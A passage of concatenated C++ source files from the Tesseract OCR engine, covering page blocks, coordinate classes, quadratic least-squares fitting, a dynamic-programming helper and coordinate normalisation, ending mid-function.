BLOCK_LIST* block_list_; ///< The page layout.
PAGE_RES* page_res_; ///< The page-level data.
STRING* input_file_; ///< Name used by training code.
Pix* input_image_; ///< Image used for searchable PDF
STRING* output_file_; ///< Name used by debug code.
STRING* datapath_; ///< Current location of tessdata.
STRING* language_; ///< Last initialized language.
OcrEngineMode last_oem_requested_; ///< Last ocr language mode requested.
bool recognition_done_; ///< page_res_ contains recognition data.
TruthCallback *truth_cb_; /// fxn for setting truth_* in WERD_RES
/**
* @defgroup ThresholderParams Thresholder Parameters
* Parameters saved from the Thresholder. Needed to rebuild coordinates.
*/
/* @{ */
int rect_left_;
int rect_top_;
int rect_width_;
int rect_height_;
int image_width_;
int image_height_;
/* @} */
private:
// A list of image filenames gets special consideration
bool ProcessPagesFileList(FILE *fp,
STRING *buf,
const char* retry_config, int timeout_millisec,
TessResultRenderer* renderer,
int tessedit_page_number);
// TIFF supports multipage so gets special consideration
bool ProcessPagesMultipageTiff(const unsigned char *data,
size_t size,
const char* filename,
const char* retry_config,
int timeout_millisec,
TessResultRenderer* renderer,
int tessedit_page_number);
}; // class TessBaseAPI.
/** Escape a char string - remove &<>"' with HTML codes. */
STRING HOcrEscape(const char* text);
} // namespace tesseract.
#endif // TESSERACT_API_BASEAPI_H__
| C++ |
/**********************************************************************
* File: ocrblock.h (Formerly block.h)
* Description: Page block class definition.
* Author: Ray Smith
* Created: Thu Mar 14 17:32:01 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef OCRBLOCK_H
#define OCRBLOCK_H
#include "ocrpara.h"
#include "ocrrow.h"
#include "pdblock.h"
class BLOCK; //forward decl
ELISTIZEH (BLOCK)
class BLOCK:public ELIST_LINK, public PDBLK
//page block
{
friend class BLOCK_RECT_IT; //block iterator
public:
BLOCK()
: re_rotation_(1.0f, 0.0f),
classify_rotation_(1.0f, 0.0f),
skew_(1.0f, 0.0f) {
right_to_left_ = false;
hand_poly = NULL;
}
BLOCK(const char *name, //< filename
BOOL8 prop, //< proportional
inT16 kern, //< kerning
inT16 space, //< spacing
inT16 xmin, //< bottom left
inT16 ymin,
inT16 xmax, //< top right
inT16 ymax);
~BLOCK () {
}
/**
* set space size etc.
* @param prop proportional
* @param kern inter char size
* @param space inter word size
* @param ch_pitch pitch if fixed
*/
void set_stats(BOOL8 prop,
inT16 kern,
inT16 space,
inT16 ch_pitch) {
proportional = prop;
kerning = (inT8) kern;
spacing = space;
pitch = ch_pitch;
}
/// set char size
void set_xheight(inT32 height) {
xheight = height;
}
/// set font class
void set_font_class(inT16 font) {
font_class = font;
}
/// return proportional
BOOL8 prop() const {
return proportional;
}
bool right_to_left() const {
return right_to_left_;
}
void set_right_to_left(bool value) {
right_to_left_ = value;
}
/// return pitch
inT32 fixed_pitch() const {
return pitch;
}
/// return kerning
inT16 kern() const {
return kerning;
}
/// return font class
inT16 font() const {
return font_class;
}
/// return spacing
inT16 space() const {
return spacing;
}
/// return filename
const char *name() const {
return filename.string ();
}
/// return xheight
inT32 x_height() const {
return xheight;
}
float cell_over_xheight() const {
return cell_over_xheight_;
}
void set_cell_over_xheight(float ratio) {
cell_over_xheight_ = ratio;
}
/// get rows
ROW_LIST *row_list() {
return &rows;
}
// Compute the margins between the edges of each row and this block's
// polyblock, and store the results in the rows.
void compute_row_margins();
// get paragraphs
PARA_LIST *para_list() {
return ¶s_;
}
/// get blobs
C_BLOB_LIST *blob_list() {
return &c_blobs;
}
C_BLOB_LIST *reject_blobs() {
return &rej_blobs;
}
FCOORD re_rotation() const {
return re_rotation_; // How to transform coords back to image.
}
void set_re_rotation(const FCOORD& rotation) {
re_rotation_ = rotation;
}
FCOORD classify_rotation() const {
return classify_rotation_; // Apply this before classifying.
}
void set_classify_rotation(const FCOORD& rotation) {
classify_rotation_ = rotation;
}
FCOORD skew() const {
return skew_; // Direction of true horizontal.
}
void set_skew(const FCOORD& skew) {
skew_ = skew;
}
const ICOORD& median_size() const {
return median_size_;
}
void set_median_size(int x, int y) {
median_size_.set_x(x);
median_size_.set_y(y);
}
Pix* render_mask() {
return PDBLK::render_mask(re_rotation_);
}
// Reflects the polygon in the y-axis and recomputes the bounding_box.
// Does nothing to any contained rows/words/blobs etc.
void reflect_polygon_in_y_axis();
void rotate(const FCOORD& rotation);
/// decreasing y order
void sort_rows();
/// shrink white space
void compress();
/// check proportional
void check_pitch();
/// shrink white space and move by vector
void compress(const ICOORD vec);
/// dump whole table
void print(FILE *fp, BOOL8 dump);
BLOCK& operator=(const BLOCK & source);
private:
BOOL8 proportional; //< proportional
bool right_to_left_; //< major script is right to left.
inT8 kerning; //< inter blob gap
inT16 spacing; //< inter word gap
inT16 pitch; //< pitch of non-props
inT16 font_class; //< correct font class
inT32 xheight; //< height of chars
float cell_over_xheight_; //< Ratio of cell height to xheight.
STRING filename; //< name of block
ROW_LIST rows; //< rows in block
PARA_LIST paras_; //< paragraphs of block
C_BLOB_LIST c_blobs; //< before textord
C_BLOB_LIST rej_blobs; //< duff stuff
FCOORD re_rotation_; //< How to transform coords back to image.
FCOORD classify_rotation_; //< Apply this before classifying.
FCOORD skew_; //< Direction of true horizontal.
ICOORD median_size_; //< Median size of blobs.
};
int decreasing_top_order(const void *row1, const void *row2);
// A function to print segmentation stats for the given block list.
void PrintSegmentationStats(BLOCK_LIST* block_list);
// Extracts blobs fromo the given block list and adds them to the output list.
// The block list must have been created by performing a page segmentation.
void ExtractBlobsFromSegmentation(BLOCK_LIST* blocks,
C_BLOB_LIST* output_blob_list);
// Refreshes the words in the block_list by using blobs in the
// new_blobs list.
// Block list must have word segmentation in it.
// It consumes the blobs provided in the new_blobs list. The blobs leftover in
// the new_blobs list after the call weren't matched to any blobs of the words
// in block list.
// The output not_found_blobs is a list of blobs from the original segmentation
// in the block_list for which no corresponding new blobs were found.
void RefreshWordBlobsFromNewBlobs(BLOCK_LIST* block_list,
C_BLOB_LIST* new_blobs,
C_BLOB_LIST* not_found_blobs);
#endif
| C++ |
/**********************************************************************
* File: quadlsq.h (Formerly qlsq.h)
* Description: Code for least squares approximation of quadratics.
* Author: Ray Smith
* Created: Wed Oct 6 15:14:23 BST 1993
*
* (C) Copyright 1993, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef QUADLSQ_H
#define QUADLSQ_H
#include "points.h"
class QLSQ
{
public:
QLSQ() { //constructor
clear(); //set to zeros
}
void clear(); //initialize
void add( //add element
double x, //coords to add
double y);
void remove( //delete element
double x, //coords to delete
double y);
inT32 count() { //no of elements
return n;
}
void fit( //fit the given
int degree); //return actual
double get_a() { //get x squard
return a;
}
double get_b() { //get x squard
return b;
}
double get_c() { //get x squard
return c;
}
private:
inT32 n; //no of elements
double a, b, c; //result
double sigx; //sum of x
double sigy; //sum of y
double sigxx; //sum x squared
double sigxy; //sum of xy
double sigyy; //sum y squared
long double sigxxx; //sum x cubed
long double sigxxy; //sum xsquared y
long double sigxxxx; //sum x fourth
};
#endif
| C++ |
/**********************************************************************
* File: points.h (Formerly coords.h)
* Description: Coordinate class definitions.
* Author: Ray Smith
* Created: Fri Mar 15 08:32:45 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef POINTS_H
#define POINTS_H
#include <stdio.h>
#include <math.h>
#include "elst.h"
class FCOORD;
///integer coordinate
class ICOORD
{
friend class FCOORD;
public:
///empty constructor
ICOORD() {
xcoord = ycoord = 0; //default zero
}
///constructor
///@param xin x value
///@param yin y value
ICOORD(inT16 xin,
inT16 yin) {
xcoord = xin;
ycoord = yin;
}
///destructor
~ICOORD () {
}
///access function
inT16 x() const {
return xcoord;
}
///access_function
inT16 y() const {
return ycoord;
}
///rewrite function
void set_x(inT16 xin) {
xcoord = xin; //write new value
}
///rewrite function
void set_y(inT16 yin) { //value to set
ycoord = yin;
}
/// Set from the given x,y, shrinking the vector to fit if needed.
void set_with_shrink(int x, int y);
///find sq length
float sqlength() const {
return (float) (xcoord * xcoord + ycoord * ycoord);
}
///find length
float length() const {
return (float) sqrt (sqlength ());
}
///sq dist between pts
float pt_to_pt_sqdist(const ICOORD &pt) const {
ICOORD gap;
gap.xcoord = xcoord - pt.xcoord;
gap.ycoord = ycoord - pt.ycoord;
return gap.sqlength ();
}
///Distance between pts
float pt_to_pt_dist(const ICOORD &pt) const {
return (float) sqrt (pt_to_pt_sqdist (pt));
}
///find angle
float angle() const {
return (float) atan2 ((double) ycoord, (double) xcoord);
}
///test equality
BOOL8 operator== (const ICOORD & other) const {
return xcoord == other.xcoord && ycoord == other.ycoord;
}
///test inequality
BOOL8 operator!= (const ICOORD & other) const {
return xcoord != other.xcoord || ycoord != other.ycoord;
}
///rotate 90 deg anti
friend ICOORD operator! (const ICOORD &);
///unary minus
friend ICOORD operator- (const ICOORD &);
///add
friend ICOORD operator+ (const ICOORD &, const ICOORD &);
///add
friend ICOORD & operator+= (ICOORD &, const ICOORD &);
///subtract
friend ICOORD operator- (const ICOORD &, const ICOORD &);
///subtract
friend ICOORD & operator-= (ICOORD &, const ICOORD &);
///scalar product
friend inT32 operator% (const ICOORD &, const ICOORD &);
///cross product
friend inT32 operator *(const ICOORD &,
const ICOORD &);
///multiply
friend ICOORD operator *(const ICOORD &,
inT16);
///multiply
friend ICOORD operator *(inT16,
const ICOORD &);
///multiply
friend ICOORD & operator*= (ICOORD &, inT16);
///divide
friend ICOORD operator/ (const ICOORD &, inT16);
///divide
friend ICOORD & operator/= (ICOORD &, inT16);
///rotate
///@param vec by vector
void rotate(const FCOORD& vec);
/// Setup for iterating over the pixels in a vector by the well-known
/// Bresenham rendering algorithm.
/// Starting with major/2 in the accumulator, on each step move by
/// major_step, and then add minor to the accumulator. When
/// accumulator >= major subtract major and also move by minor_step.
void setup_render(ICOORD* major_step, ICOORD* minor_step,
int* major, int* minor) const;
// Writes to the given file. Returns false in case of error.
bool Serialize(FILE* fp) const;
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool DeSerialize(bool swap, FILE* fp);
protected:
inT16 xcoord; //< x value
inT16 ycoord; //< y value
};
class DLLSYM ICOORDELT:public ELIST_LINK, public ICOORD
//embedded coord list
{
public:
///empty constructor
ICOORDELT() {
}
///constructor from ICOORD
ICOORDELT (ICOORD icoord):ICOORD (icoord) {
}
///constructor
///@param xin x value
///@param yin y value
ICOORDELT(inT16 xin,
inT16 yin) {
xcoord = xin;
ycoord = yin;
}
static ICOORDELT* deep_copy(const ICOORDELT* src) {
ICOORDELT* elt = new ICOORDELT;
*elt = *src;
return elt;
}
};
ELISTIZEH (ICOORDELT)
class DLLSYM FCOORD
{
public:
///empty constructor
FCOORD() {
}
///constructor
///@param xvalue x value
///@param yvalue y value
FCOORD(float xvalue,
float yvalue) {
xcoord = xvalue; //set coords
ycoord = yvalue;
}
FCOORD( //make from ICOORD
ICOORD icoord) { //coords to set
xcoord = icoord.xcoord;
ycoord = icoord.ycoord;
}
float x() const { //get coords
return xcoord;
}
float y() const {
return ycoord;
}
///rewrite function
void set_x(float xin) {
xcoord = xin; //write new value
}
///rewrite function
void set_y(float yin) { //value to set
ycoord = yin;
}
///find sq length
float sqlength() const {
return xcoord * xcoord + ycoord * ycoord;
}
///find length
float length() const {
return (float) sqrt (sqlength ());
}
///sq dist between pts
float pt_to_pt_sqdist(const FCOORD &pt) const {
FCOORD gap;
gap.xcoord = xcoord - pt.xcoord;
gap.ycoord = ycoord - pt.ycoord;
return gap.sqlength ();
}
///Distance between pts
float pt_to_pt_dist(const FCOORD &pt) const {
return (float) sqrt (pt_to_pt_sqdist (pt));
}
///find angle
float angle() const {
return (float) atan2 (ycoord, xcoord);
}
// Returns the standard feature direction corresponding to this.
// See binary_angle_plus_pi below for a description of the direction.
uinT8 to_direction() const;
// Sets this with a unit vector in the given standard feature direction.
void from_direction(uinT8 direction);
// Converts an angle in radians (from ICOORD::angle or FCOORD::angle) to a
// standard feature direction as an unsigned angle in 256ths of a circle
// measured anticlockwise from (-1, 0).
static uinT8 binary_angle_plus_pi(double angle);
// Inverse of binary_angle_plus_pi returns an angle in radians for the
// given standard feature direction.
static double angle_from_direction(uinT8 direction);
// Returns the point on the given line nearest to this, ie the point such
// that the vector point->this is perpendicular to the line.
// The line is defined as a line_point and a dir_vector for its direction.
// dir_vector need not be a unit vector.
FCOORD nearest_pt_on_line(const FCOORD& line_point,
const FCOORD& dir_vector) const;
///Convert to unit vec
bool normalise();
///test equality
BOOL8 operator== (const FCOORD & other) {
return xcoord == other.xcoord && ycoord == other.ycoord;
}
///test inequality
BOOL8 operator!= (const FCOORD & other) {
return xcoord != other.xcoord || ycoord != other.ycoord;
}
///rotate 90 deg anti
friend FCOORD operator! (const FCOORD &);
///unary minus
friend FCOORD operator- (const FCOORD &);
///add
friend FCOORD operator+ (const FCOORD &, const FCOORD &);
///add
friend FCOORD & operator+= (FCOORD &, const FCOORD &);
///subtract
friend FCOORD operator- (const FCOORD &, const FCOORD &);
///subtract
friend FCOORD & operator-= (FCOORD &, const FCOORD &);
///scalar product
friend float operator% (const FCOORD &, const FCOORD &);
///cross product
friend float operator *(const FCOORD &, const FCOORD &);
///multiply
friend FCOORD operator *(const FCOORD &, float);
///multiply
friend FCOORD operator *(float, const FCOORD &);
///multiply
friend FCOORD & operator*= (FCOORD &, float);
///divide
friend FCOORD operator/ (const FCOORD &, float);
///rotate
///@param vec by vector
void rotate(const FCOORD vec);
// unrotate - undo a rotate(vec)
// @param vec by vector
void unrotate(const FCOORD &vec);
///divide
friend FCOORD & operator/= (FCOORD &, float);
private:
float xcoord; //2 floating coords
float ycoord;
};
#include "ipoints.h" /*do inline funcs */
#endif
| C++ |
/**********************************************************************
* File: dppoint.cpp
* Description: Simple generic dynamic programming class.
* Author: Ray Smith
* Created: Wed Mar 25 19:08:01 PDT 2009
*
* (C) Copyright 2009, Google Inc.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "dppoint.h"
#include "tprintf.h"
namespace tesseract {
// Solve the dynamic programming problem for the given array of points, with
// the given size and cost function.
// Steps backwards are limited to being between min_step and max_step
// inclusive.
// The return value is the tail of the best path.
DPPoint* DPPoint::Solve(int min_step, int max_step, bool debug,
CostFunc cost_func, int size, DPPoint* points) {
if (size <= 0 || max_step < min_step || min_step >= size)
return NULL; // Degenerate, but not necessarily an error.
ASSERT_HOST(min_step > 0); // Infinite loop possible if this is not true.
if (debug)
tprintf("min = %d, max=%d\n",
min_step, max_step);
// Evaluate the total cost at each point.
for (int i = 0; i < size; ++i) {
for (int offset = min_step; offset <= max_step; ++offset) {
DPPoint* prev = offset <= i ? points + i - offset : NULL;
inT64 new_cost = (points[i].*cost_func)(prev);
if (points[i].best_prev_ != NULL && offset > min_step * 2 &&
new_cost > points[i].total_cost_)
break; // Find only the first minimum if going over twice the min.
}
points[i].total_cost_ += points[i].local_cost_;
if (debug) {
tprintf("At point %d, local cost=%d, total_cost=%d, steps=%d\n",
i, points[i].local_cost_, points[i].total_cost_,
points[i].total_steps_);
}
}
// Now find the end of the best path and return it.
int best_cost = points[size - 1].total_cost_;
int best_end = size - 1;
for (int end = best_end - 1; end >= size - min_step; --end) {
int cost = points[end].total_cost_;
if (cost < best_cost) {
best_cost = cost;
best_end = end;
}
}
return points + best_end;
}
// A CostFunc that takes the variance of step into account in the cost.
inT64 DPPoint::CostWithVariance(const DPPoint* prev) {
if (prev == NULL || prev == this) {
UpdateIfBetter(0, 1, NULL, 0, 0, 0);
return 0;
}
int delta = this - prev;
inT32 n = prev->n_ + 1;
inT32 sig_x = prev->sig_x_ + delta;
inT64 sig_xsq = prev->sig_xsq_ + delta * delta;
inT64 cost = (sig_xsq - sig_x * sig_x / n) / n;
cost += prev->total_cost_;
UpdateIfBetter(cost, prev->total_steps_ + 1, prev, n, sig_x, sig_xsq);
return cost;
}
// Update the other members if the cost is lower.
void DPPoint::UpdateIfBetter(inT64 cost, inT32 steps, const DPPoint* prev,
inT32 n, inT32 sig_x, inT64 sig_xsq) {
if (cost < total_cost_) {
total_cost_ = cost;
total_steps_ = steps;
best_prev_ = prev;
n_ = n;
sig_x_ = sig_x;
sig_xsq_ = sig_xsq;
}
}
} // namespace tesseract.
| C++ |
/**********************************************************************
* File: normalis.cpp (Formerly denorm.c)
* Description: Code for the DENORM class.
* Author: Ray Smith
* Created: Thu Apr 23 09:22:43 BST 1992
*
* (C) Copyright 1992, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "normalis.h"
#include <stdlib.h>
#include "allheaders.h"
#include "blobs.h"
#include "helpers.h"
#include "matrix.h"
#include "ocrblock.h"
#include "unicharset.h"
#include "werd.h"
// Tolerance in pixels used for baseline and xheight on non-upper/lower scripts.
const int kSloppyTolerance = 4;
// Final tolerance in pixels added to the computed xheight range.
const float kFinalPixelTolerance = 0.125f;
DENORM::DENORM() {
Init();
}
DENORM::DENORM(const DENORM &src) {
rotation_ = NULL;
*this = src;
}
DENORM & DENORM::operator=(const DENORM & src) {
Clear();
inverse_ = src.inverse_;
predecessor_ = src.predecessor_;
pix_ = src.pix_;
block_ = src.block_;
if (src.rotation_ == NULL)
rotation_ = NULL;
else
rotation_ = new FCOORD(*src.rotation_);
x_origin_ = src.x_origin_;
y_origin_ = src.y_origin_;
x_scale_ = src.x_scale_;
y_scale_ = src.y_scale_;
final_xshift_ = src.final_xshift_;
final_yshift_ = src.final_yshift_;
return *this;
}
DENORM::~DENORM() {
Clear();
}
// Initializes the denorm for a transformation. For details see the large
// comment in normalis.h.
// Arguments:
// block: if not NULL, then this is the first transformation, and
// block->re_rotation() needs to be used after the Denorm
// transformation to get back to the image coords.
// rotation: if not NULL, apply this rotation after translation to the
// origin and scaling. (Usually a classify rotation.)
// predecessor: if not NULL, then predecessor has been applied to the
// input space and needs to be undone to complete the inverse.
// The above pointers are not owned by this DENORM and are assumed to live
// longer than this denorm, except rotation, which is deep copied on input.
//
// x_origin: The x origin which will be mapped to final_xshift in the result.
// y_origin: The y origin which will be mapped to final_yshift in the result.
// Added to result of row->baseline(x) if not NULL.
//
// x_scale: scale factor for the x-coordinate.
// y_scale: scale factor for the y-coordinate. Ignored if segs is given.
// Note that these scale factors apply to the same x and y system as the
// x-origin and y-origin apply, ie after any block rotation, but before
// the rotation argument is applied.
//
// final_xshift: The x component of the final translation.
// final_yshift: The y component of the final translation.
void DENORM::SetupNormalization(const BLOCK* block,
const FCOORD* rotation,
const DENORM* predecessor,
float x_origin, float y_origin,
float x_scale, float y_scale,
float final_xshift, float final_yshift) {
Clear();
block_ = block;
if (rotation == NULL)
rotation_ = NULL;
else
rotation_ = new FCOORD(*rotation);
predecessor_ = predecessor;
x_origin_ = x_origin;
y_origin_ = y_origin;
x_scale_ = x_scale;
y_scale_ = y_scale;
final_xshift_ = final_xshift;
final_yshift_ = final_yshift;
}
// Helper for SetupNonLinear computes an image of shortest run-lengths from
// the x/y edges provided.
// Based on "A nonlinear normalization method for handprinted Kanji character
// recognition -- line density equalization" by Hiromitsu Yamada et al.
// Eg below is an O in a 1-pixel margin-ed bounding box and the corresponding
// ______________ input x_coords and y_coords.
// | _________ | <empty>
// | | _ | | 1, 6
// | | | | | | 1, 3, 4, 6
// | | | | | | 1, 3, 4, 6
// | | | | | | 1, 3, 4, 6
// | | |_| | | 1, 3, 4, 6
// | |_________| | 1, 6
// |_____________| <empty>
// E 1 1 1 1 1 E
// m 7 7 2 7 7 m
// p 6 p
// t 7 t
// y y
// The output image contains the min of the x and y run-length (distance
// between edges) at each coordinate in the image thus:
// ______________
// |7 1_1_1_1_1 7|
// |1|5 5 1 5 5|1|
// |1|2 2|1|2 2|1|
// |1|2 2|1|2 2|1|
// |1|2 2|1|2 2|1|
// |1|2 2|1|2 2|1|
// |1|5_5_1_5_5|1|
// |7_1_1_1_1_1_7|
// Note that the input coords are all integer, so all partial pixels are dealt
// with elsewhere. Although it is nice for outlines to be properly connected
// and continuous, there is no requirement that they be as such, so they could
// have been derived from a flaky source, such as greyscale.
// This function works only within the provided box, and it is assumed that the
// input x_coords and y_coords have already been translated to have the bottom-
// left of box as the origin. Although an output, the minruns should have been
// pre-initialized to be the same size as box. Each element will contain the
// minimum of x and y run-length as shown above.
static void ComputeRunlengthImage(
const TBOX& box,
const GenericVector<GenericVector<int> >& x_coords,
const GenericVector<GenericVector<int> >& y_coords,
GENERIC_2D_ARRAY<int>* minruns) {
int width = box.width();
int height = box.height();
ASSERT_HOST(minruns->dim1() == width);
ASSERT_HOST(minruns->dim2() == height);
// Set a 2-d image array to the run lengths at each pixel.
for (int ix = 0; ix < width; ++ix) {
int y = 0;
for (int i = 0; i < y_coords[ix].size(); ++i) {
int y_edge = ClipToRange(y_coords[ix][i], 0, height);
int gap = y_edge - y;
// Every pixel between the last and current edge get set to the gap.
while (y < y_edge) {
(*minruns)(ix, y) = gap;
++y;
}
}
// Pretend there is a bounding box of edges all around the image.
int gap = height - y;
while (y < height) {
(*minruns)(ix, y) = gap;
++y;
}
}
// Now set the image pixels the the MIN of the x and y runlengths.
for (int iy = 0; iy < height; ++iy) {
int x = 0;
for (int i = 0; i < x_coords[iy].size(); ++i) {
int x_edge = ClipToRange(x_coords[iy][i], 0, width);
int gap = x_edge - x;
while (x < x_edge) {
if (gap < (*minruns)(x, iy))
(*minruns)(x, iy) = gap;
++x;
}
}
int gap = width - x;
while (x < width) {
if (gap < (*minruns)(x, iy))
(*minruns)(x, iy) = gap;
++x;
}
}
}
// Converts the run-length image (see above to the edge density profiles used
// for scaling, thus:
// ______________
// |7 1_1_1_1_1 7| = 5.28
// |1|5 5 1 5 5|1| = 3.8
// |1|2 2|1|2 2|1| = 5
// |1|2 2|1|2 2|1| = 5
// |1|2 2|1|2 2|1| = 5
// |1|2 2|1|2 2|1| = 5
// |1|5_5_1_5_5|1| = 3.8
// |7_1_1_1_1_1_7| = 5.28
// 6 4 4 8 4 4 6
// . . . . . . .
// 2 4 4 0 4 4 2
// 8 8
// Each profile is the sum of the reciprocals of the pixels in the image in
// the appropriate row or column, and these are then normalized to sum to 1.
// On output hx, hy contain an extra element, which will eventually be used
// to guarantee that the top/right edge of the box (and anything beyond) always
// gets mapped to the maximum target coordinate.
static void ComputeEdgeDensityProfiles(const TBOX& box,
const GENERIC_2D_ARRAY<int>& minruns,
GenericVector<float>* hx,
GenericVector<float>* hy) {
int width = box.width();
int height = box.height();
hx->init_to_size(width + 1, 0.0);
hy->init_to_size(height + 1, 0.0);
double total = 0.0;
for (int iy = 0; iy < height; ++iy) {
for (int ix = 0; ix < width; ++ix) {
int run = minruns(ix, iy);
if (run == 0) run = 1;
float density = 1.0f / run;
(*hx)[ix] += density;
(*hy)[iy] += density;
}
total += (*hy)[iy];
}
// Normalize each profile to sum to 1.
if (total > 0.0) {
for (int ix = 0; ix < width; ++ix) {
(*hx)[ix] /= total;
}
for (int iy = 0; iy < height; ++iy) {
(*hy)[iy] /= total;
}
}
// There is an extra element in each array, so initialize to 1.
(*hx)[width] = 1.0f;
(*hy)[height] = 1.0f;
}
// Sets up the DENORM to execute a non-linear transformation based on
// preserving an even distribution of stroke edges. The transformation
// operates only within the given box.
// x_coords is a collection of the x-coords of vertical edges for each
// y-coord starting at box.bottom().
// y_coords is a collection of the y-coords of horizontal edges for each
// x-coord starting at box.left().
// Eg x_coords[0] is a collection of the x-coords of edges at y=bottom.
// Eg x_coords[1] is a collection of the x-coords of edges at y=bottom + 1.
// The second-level vectors must all be sorted in ascending order.
// See comments on the helper functions above for more details.
void DENORM::SetupNonLinear(
const DENORM* predecessor, const TBOX& box, float target_width,
float target_height, float final_xshift, float final_yshift,
const GenericVector<GenericVector<int> >& x_coords,
const GenericVector<GenericVector<int> >& y_coords) {
Clear();
predecessor_ = predecessor;
// x_map_ and y_map_ store a mapping from input x and y coordinate to output
// x and y coordinate, based on scaling to the supplied target_width and
// target_height.
x_map_ = new GenericVector<float>;
y_map_ = new GenericVector<float>;
// Set a 2-d image array to the run lengths at each pixel.
int width = box.width();
int height = box.height();
GENERIC_2D_ARRAY<int> minruns(width, height, 0);
ComputeRunlengthImage(box, x_coords, y_coords, &minruns);
// Edge density is the sum of the inverses of the run lengths. Compute
// edge density projection profiles.
ComputeEdgeDensityProfiles(box, minruns, x_map_, y_map_);
// Convert the edge density profiles to the coordinates by multiplying by
// the desired size and accumulating.
(*x_map_)[width] = target_width;
for (int x = width - 1; x >= 0; --x) {
(*x_map_)[x] = (*x_map_)[x + 1] - (*x_map_)[x] * target_width;
}
(*y_map_)[height] = target_height;
for (int y = height - 1; y >= 0; --y) {
(*y_map_)[y] = (*y_map_)[y + 1] - (*y_map_)[y] * target_height;
}
x_origin_ = box.left();
y_origin_ = box.bottom();
final_xshift_ = final_xshift;
final_yshift_ = final_yshift;
}
// Transforms the given coords one step forward to normalized space, without
// using any block rotation or predecessor.
void DENORM::LocalNormTransform(const TPOINT& pt, TPOINT* transformed) const {
FCOORD src_pt(pt.x, pt.y);
FCOORD float_result;
LocalNormTransform(src_pt, &float_result);
transformed->x = IntCastRounded(float_result.x());
transformed->y = IntCastRounded(float_result.y());
}
void DENORM::LocalNormTransform(const FCOORD& pt, FCOORD* transformed) const {
FCOORD translated(pt.x() - x_origin_, pt.y() - y_origin_);
if (x_map_ != NULL && y_map_ != NULL) {
int x = ClipToRange(IntCastRounded(translated.x()), 0, x_map_->size()-1);
translated.set_x((*x_map_)[x]);
int y = ClipToRange(IntCastRounded(translated.y()), 0, y_map_->size()-1);
translated.set_y((*y_map_)[y]);
} else {
translated.set_x(translated.x() * x_scale_);
translated.set_y(translated.y() * y_scale_);
if (rotation_ != NULL)
translated.rotate(*rotation_);
}
transformed->set_x(translated.x() + final_xshift_);
transformed->set_y(translated.y() + final_yshift_);
}
// Transforms the given coords forward to normalized space using the
// full transformation sequence defined by the block rotation, the
// predecessors, deepest first, and finally this. If first_norm is not NULL,
// then the first and deepest transformation used is first_norm, ending
// with this, and the block rotation will not be applied.
void DENORM::NormTransform(const DENORM* first_norm, const TPOINT& pt,
TPOINT* transformed) const {
FCOORD src_pt(pt.x, pt.y);
FCOORD float_result;
NormTransform(first_norm, src_pt, &float_result);
transformed->x = IntCastRounded(float_result.x());
transformed->y = IntCastRounded(float_result.y());
}
void DENORM::NormTransform(const DENORM* first_norm, const FCOORD& pt,
FCOORD* transformed) const {
FCOORD src_pt(pt);
if (first_norm != this) {
if (predecessor_ != NULL) {
predecessor_->NormTransform(first_norm, pt, &src_pt);
} else if (block_ != NULL) {
FCOORD fwd_rotation(block_->re_rotation().x(),
-block_->re_rotation().y());
src_pt.rotate(fwd_rotation);
}
}
LocalNormTransform(src_pt, transformed);
}
// Transforms the given coords one step back to source space, without
// using to any block rotation or predecessor.
void DENORM::LocalDenormTransform(const TPOINT& pt, TPOINT* original) const {
FCOORD src_pt(pt.x, pt.y);
FCOORD float_result;
LocalDenormTransform(src_pt, &float_result);
original->x = IntCastRounded(float_result.x());
original->y = IntCastRounded(float_result.y());
}
void DENORM::LocalDenormTransform(const FCOORD& pt, FCOORD* original) const {
FCOORD rotated(pt.x() - final_xshift_, pt.y() - final_yshift_);
if (x_map_ != NULL && y_map_ != NULL) {
int x = x_map_->binary_search(rotated.x());
original->set_x(x + x_origin_);
int y = y_map_->binary_search(rotated.y());
original->set_y(y + y_origin_);
} else {
if (rotation_ != NULL) {
FCOORD inverse_rotation(rotation_->x(), -rotation_->y());
rotated.rotate(inverse_rotation);
}
original->set_x(rotated.x() / x_scale_ + x_origin_);
float y_scale = y_scale_;
original->set_y(rotated.y() / y_scale + y_origin_);
}
}
// Transforms the given coords all the way back to source image space using
// the full transformation sequence defined by this and its predecesors
// recursively, shallowest first, and finally any block re_rotation.
// If last_denorm is not NULL, then the last transformation used will
// be last_denorm, and the block re_rotation will never be executed.
void DENORM::DenormTransform(const DENORM* last_denorm, const TPOINT& pt,
TPOINT* original) const {
